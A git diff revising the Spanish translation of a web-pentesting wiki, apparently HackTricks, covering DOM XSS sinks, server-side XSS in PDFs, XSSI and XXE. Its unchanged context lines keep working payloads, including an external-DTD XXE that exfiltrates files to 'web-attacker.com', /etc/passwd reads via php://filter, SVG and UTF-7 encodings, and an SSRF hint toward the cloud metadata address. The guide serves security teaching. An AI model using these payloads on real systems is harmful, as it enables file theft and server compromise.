+| `location.replace()`                                                             | `range.createContextualFragment()`                                                  | `someDOMElement.innerText`                                    | `prepend()`                                                            |
+| `open()`                                                                         | `crypto.generateCRMFRequest()`                                                      | `someDOMElement.outerText`                                    | `replaceAll()`                                                         |
+| `domElem.srcdoc`                                                                 | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value`                                        | `replaceWith()`                                                        |
+| `XMLHttpRequest.open()`                                                          | `FileReader.readAsArrayBuffer()`                                                    | `someDOMElement.name`                                         | `wrap()`                                                               |
+| `XMLHttpRequest.send()`                                                          | `FileReader.readAsBinaryString()`                                                   | `someDOMElement.target`                                       | `wrapInner()`                                                          |
+| `jQuery.ajax()`                                                                  | `FileReader.readAsDataURL()`                                                        | `someDOMElement.method`                                       | `wrapAll()`                                                            |
+| `$.ajax()`                                                                       | `FileReader.readAsText()`                                                           | `someDOMElement.type`                                         | `has()`                                                                |
+| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation)    | `FileReader.readAsFile()`                                                           | `someDOMElement.backgroundImage`                              | `constructor()`                                                        |
+| `XMLHttpRequest.setRequestHeader()`                                              | `FileReader.root.getFile()`                                                         | `someDOMElement.cssText`                                      | `init()`                                                               |
+| `XMLHttpRequest.open()`                                                          | `FileReader.root.getFile()`                                                         | `someDOMElement.codebase`                                     | `index()`                                                              |
+| `XMLHttpRequest.send()`                                                          | [**Link manipulation**](dom-xss.md#link-manipulation)                               | `someDOMElement.innerHTML`                                    | `jQuery.parseHTML()`                                                   |
+| `jQuery.globalEval()`                                                            | `someDOMElement.href`                                                               | `someDOMElement.outerHTML`                                    | `$.parseHTML()`                                                        |
+| `$.globalEval()`                                                                 | `someDOMElement.src`                                                                | `someDOMElement.insertAdjacentHTML`                           | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) |
+| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action`                                                             | `someDOMElement.onevent`                                      | `JSON.parse()`                                                         |
+| `sessionStorage.setItem()`                                                       | [**XPath injection**](dom-xss.md#xpath-injection)                                   | `document.write()`                                            | `jQuery.parseJSON()`                                                   |
+| `localStorage.setItem()`                                                         | `document.evaluate()`                                                               | `document.writeln()`                                          | `$.parseJSON()`                                                        |
+| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``**              | `someDOMElement.evaluate()`                                                         | `document.title`                                              | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation)      |
+| `requestFileSystem()`                                                            | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
+| `RegExp()`                                                                       | `document.domain`                                                                   | `history.pushState()`                                         | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning)      |
+| [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection)            | [**Web-message manipulation**](dom-xss.md#web-message-manipulation)                 | `history.replaceState()`                                      | `WebSocket`                                                            |
+| `executeSql()`                                                                   | `postMessage()`                                                                     | \`\`                                                          | \`\`                                                                   |
 
 El **`innerHTML`** sink no acepta elementos `script` en ningún navegador moderno, ni se activarán eventos `svg onload`. Esto significa que necesitarás usar elementos alternativos como `img` o `iframe`.
 
 Este tipo de XSS es probablemente el **más difícil de encontrar**, ya que necesitas mirar dentro del código JS, ver si está **usando** algún objeto cuyo **valor controlas**, y en ese caso, ver si hay **alguna forma de abusar** de él para ejecutar JS arbitrario.
 
-## Herramientas para encontrarlos
+## Tools to find them
 
 - [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
 - Extensión de navegador para verificar cada dato que llega a un sink potencial: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
 
-## Ejemplos
+## Examples
 
-### Redirección Abierta
+### Open Redirect
 
-Desde: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
+De: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)
 
-**Las vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
+Las **vulnerabilidades de redirección abierta en el DOM** ocurren cuando un script escribe datos, que un atacante puede controlar, en un sink capaz de iniciar navegación entre dominios.
 
 Es crucial entender que ejecutar código arbitrario, como **`javascript:alert(1)`**, es posible si tienes control sobre el inicio de la URL donde ocurre la redirección.
 
@@ -104,11 +104,11 @@ $.ajax()
 ```
 ### Manipulación de cookies
 
-Desde: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
+From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
 
 Las vulnerabilidades de manipulación de cookies basadas en DOM ocurren cuando un script incorpora datos, que pueden ser controlados por un atacante, en el valor de una cookie. Esta vulnerabilidad puede llevar a un comportamiento inesperado de la página web si la cookie se utiliza dentro del sitio. Además, puede ser explotada para llevar a cabo un ataque de fijación de sesión si la cookie está involucrada en el seguimiento de sesiones de usuario. El sumidero principal asociado con esta vulnerabilidad es:
 
-Sumideros:
+Sinks:
 ```javascript
 document.cookie
 ```
@@ -209,7 +209,7 @@ executeSql()
 
 From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
 
-**Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación posteriormente **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
+**Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
 
 Sinks:
 ```javascript
@@ -284,7 +284,7 @@ history.replaceState()
 
 From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
 
-**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o finalizar scripts ocupados.
+**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o terminar scripts ocupados.
 
 Sinks:
 ```javascript
diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
index 090e5234b..b3d358734 100644
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -126,7 +126,7 @@ Cuando se utiliza, el atributo `sandbox` impone varias limitaciones:
 - La ejecución de scripts está prohibida.
 - El acceso a ciertas APIs está deshabilitado.
 - Evita que los enlaces interactúen con otros contextos de navegación.
-- El uso de plugins a través de `<embed>`, `<object>`, `<applet>`, o etiquetas similares está prohibido.
+- El uso de plugins a través de `<embed>`, `<object>`, `<applet>` o etiquetas similares está prohibido.
 - Se impide que el contenido navegue por el contexto de navegación de nivel superior por sí mismo.
 - Las características que se activan automáticamente, como la reproducción de video o el enfoque automático de los controles de formulario, están bloqueadas.
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
index 7caf0d7d0..002c66b6c 100644
--- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
+++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
@@ -108,9 +108,9 @@ log.push(i)
 console.log(log) //34,39,47,96
 //single quote, quotes, backticks & // (regex)
 ```
-### **Surrogate Pairs BF**
+### **Pares Suplementarios BF**
 
-Esta técnica no será muy útil para XSS, pero podría ser útil para eludir las protecciones de WAF. Este código de python recibe como entrada 2 bytes y busca pares de sustitutos que tengan el primer byte como el último byte del par de sustitutos alto y el último byte como el último byte del par de sustitutos bajo.
+Esta técnica no será muy útil para XSS, pero podría ser útil para eludir las protecciones de WAF. Este código de python recibe como entrada 2 bytes y busca pares suplementarios que tengan el primer byte como el último byte del par suplementario alto y el último byte como el último byte del par suplementario bajo.
 ```python
 def unicode(findHex):
 for i in range(0,0xFFFFF):
@@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
 console.log(this.afunc.toString()) //This will print the code of the function
 console.log(global.afunc.toString()) //This will print the code of the function
 ```
-En los casos donde la **función no tiene ningún nombre**, aún puedes imprimir el **código de la función** desde dentro:
+En los casos en que la **función no tiene ningún nombre**, aún puedes imprimir el **código de la función** desde dentro:
 ```javascript
 ;(function () {
 return arguments.callee.toString()
diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
index 96d5509c2..e120a0e40 100644
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@@ -5,10 +5,10 @@
 ## Server Side XSS (Dynamic PDF)
 
 Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
-Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.
+Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
 
 Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, así que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
-Además, nota que en una explotación regular podrás **ver/descargar el pdf creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
+Además, ten en cuenta que en una explotación regular podrás **ver/descargar el pdf creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
 
 ### Generación de PDF popular
 
@@ -81,7 +81,7 @@ La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad p
 > [!WARNING]
 > Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
 >
-> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md).
+> Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [consulta esta página para posibles elusiones](../ssrf-server-side-request-forgery/url-format-bypass.md).
 ```markup
 <script>
 x=new XMLHttpRequest;
@@ -151,7 +151,7 @@ Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que pued
 
 ### Attachments: PD4ML
 
-Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta característica para **adjuntar cualquier archivo local** al PDF.\
+Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\
 Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **guardar el adjunto** como un nuevo archivo.\
 Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF.
 ```html
diff --git a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
index 629640c6d..590843cba 100644
--- a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
+++ b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
@@ -22,7 +22,7 @@ Básicamente, el flujo del ataque es el siguiente:
 > [!CAUTION]
 > Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**.
 >
-> Además, para que la segunda página pueda usar el objeto opener **ambas páginas deben estar en el mismo origen**. Esta es la razón por la que, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
+> Además, para que la segunda página pueda usar el objeto opener **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
 
 ### Explotación
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
index 59b8ae174..917abbf64 100644
--- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
+++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
@@ -42,7 +42,7 @@ t:prompt(document.cookie))
 ```
 ### HTML Sanitiser Markdown Bypass
 
-El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de markdown**, luego, se puede activar XSS abusando de las malas interpretaciones entre Markdown y DOMPurify&#x20;
+El siguiente código está **sanitizando la entrada HTML** y luego **pasándola al analizador de markdown**, luego, se puede activar XSS abusando de las malas interpretaciones entre Markdown y DOMPurify.
 ```html
 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
diff --git a/src/pentesting-web/xssi-cross-site-script-inclusion.md b/src/pentesting-web/xssi-cross-site-script-inclusion.md
index cb9e70d04..580fe558a 100644
--- a/src/pentesting-web/xssi-cross-site-script-inclusion.md
+++ b/src/pentesting-web/xssi-cross-site-script-inclusion.md
@@ -61,7 +61,7 @@ alert(JSON.stringify(leaked))
 </script>
 <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
 ```
-Para las variables que no residen en el espacio de nombres global, _prototype tampering_ a veces puede ser explotado. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como `Array`'s `slice`, los atacantes pueden acceder y filtrar variables no globales:
+Para variables que no residen en el espacio de nombres global, _prototype tampering_ a veces puede ser explotado. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al anular ciertas funciones, como `Array`'s `slice`, los atacantes pueden acceder y filtrar variables no globales:
 ```javascript
 Array.prototype.slice = function () {
 // leaks ["secret1", "secret2", "secret3"]
diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md
index 308e7028c..28dc73626 100644
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@@ -49,7 +49,7 @@ Este segundo caso debería ser útil para extraer un archivo si el servidor web
 <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
 <data>&example;</data>
 ```
-En este tercer caso, notamos que estamos declarando el `Element stockCheck` como ANY.
+En este tercer caso, observa que estamos declarando el `Element stockCheck` como ANY.
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE data [
@@ -91,7 +91,7 @@ Usando la **técnica comentada anteriormente** puedes hacer que el servidor acce
 ```
 ### "Blind" SSRF - Exfiltrar datos fuera de banda
 
-**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.**
+**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**el laboratorio de Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
 
 En el DTD malicioso dado, se llevan a cabo una serie de pasos para exfiltrar datos:
 
@@ -121,13 +121,13 @@ El atacante aloja este DTD malicioso en un servidor bajo su control, típicament
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-Este payload define una entidad de parámetro XML `%xxe` e incorpora esto dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
+Este payload define una entidad de parámetro XML `%xxe` e incorpora esta entidad dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
 
-### Basado en Errores (DTD Externo)
+### Error Based(External DTD)
 
 **En este caso, vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error).** [**Ejemplo de aquí.**](https://portswigger.net/web-security/xxe/blind)
 
-Un mensaje de error de análisis XML, revelando el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
+Un mensaje de error de análisis XML, que revela el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
 
 1. Se define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`.
 2. Se define una entidad de parámetro XML llamada `eval`, incorporando una declaración dinámica para otra entidad de parámetro XML llamada `error`. Esta entidad `error`, cuando se evalúa, intenta cargar un archivo inexistente, incorporando el contenido de la entidad `file` como su nombre.
@@ -144,7 +144,7 @@ Al ejecutar, la respuesta del servidor web debería incluir un mensaje de error
 
 ![](<../images/image (809).png>)
 
-_**Por favor, note que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no se puede forzar un error sin usar un DTD externo (usualmente).**_
+_**Tenga en cuenta que el DTD externo nos permite incluir una entidad dentro de la segunda (\*\***`eval`\***\*), pero está prohibido en el DTD interno. Por lo tanto, no puede forzar un error sin usar un DTD externo (generalmente).**_
 
 ### **Error Basado (DTD del sistema)**
 
@@ -221,9 +221,9 @@ Para una explicación más detallada de este ataque, **consulta la segunda secci
 
 La capacidad de **subir documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, que luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos subiendo una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
 
-Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil XXE**. El primer paso es crear un directorio vacío al que se pueda descomprimir el documento.
+Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil de XXE**. El primer paso es crear un directorio vacío al que se pueda descomprimir el documento.
 
-Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil XXE deseada, a menudo comenzando con una solicitud HTTP.
+Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil de XXE deseada, a menudo comenzando con una solicitud HTTP.
 
 Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitorizable para las solicitudes.
 
@@ -241,7 +241,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
 > [!CAUTION]
 > Poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
 
-El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
+El proceso detrás de acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
 
 1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como `https://download.website.com/archive.zip`.
 2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como `/tmp/...`.
@@ -320,7 +320,7 @@ Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
 
 Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
 
-Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la **biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
+Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, **la biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
 
 Un ejemplo de tal exploit se muestra a continuación, donde una imagen SVG maliciosa intenta leer archivos del sistema:
 ```xml
@@ -334,7 +334,7 @@ Otro método implica intentar **ejecutar comandos** a través del envoltorio "ex
 ```
 En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, destacando la necesidad de una validación de entrada robusta y medidas de seguridad.
 
-¡Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
+Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
 
 **Nota: la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Así que necesitas poder acceder a la imagen que SVG ha creado.**
 
@@ -406,7 +406,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
 
 ### UTF-7
 
-Puedes usar la \[**"Receta de Codificación" de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
+Puedes usar la \[**"Receta de Codificación"** de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
 ```xml
 <!xml version="1.0" encoding="UTF-7"?-->
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -420,9 +420,9 @@ Puedes usar la \[**"Receta de Codificación" de cyberchef aquí ]\(\[[https://gc
 ```
 ### File:/ Protocol Bypass
 
-Si la web está utilizando PHP, en lugar de usar `file:/` puedes usar **php wrappers**`php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
+Si la web está usando PHP, en lugar de usar `file:/` puedes usar **php wrappers**`php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
 
-Si la web está utilizando Java, puedes verificar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
+Si la web está usando Java, puedes verificar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
 
 ### HTML Entities
 
@@ -474,7 +474,7 @@ Ejemplo de DTD:
 
 Este ejemplo está inspirado en [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
 
-XLIFF (XML Localization Interchange File Format) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como un formato de intercambio común para herramientas de CAT (Computer-Aided Translation).
+XLIFF (Formato de Intercambio de Archivos de Localización XML) se utiliza para estandarizar el intercambio de datos en procesos de localización. Es un formato basado en XML utilizado principalmente para transferir datos localizables entre herramientas durante la localización y como un formato de intercambio común para herramientas de CAT (Traducción Asistida por Computadora).
 
 ### Análisis de Solicitud Ciega
 
@@ -540,7 +540,7 @@ XML válido con formato RSS para explotar una vulnerabilidad XXE.
 
 ### Ping back
 
-Solicitud HTTP simple al servidor del atacante.
+Solicitud HTTP simple al servidor del atacante
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE title [ <!ELEMENT title ANY >
diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md
index e755ae472..677b0aed2 100644
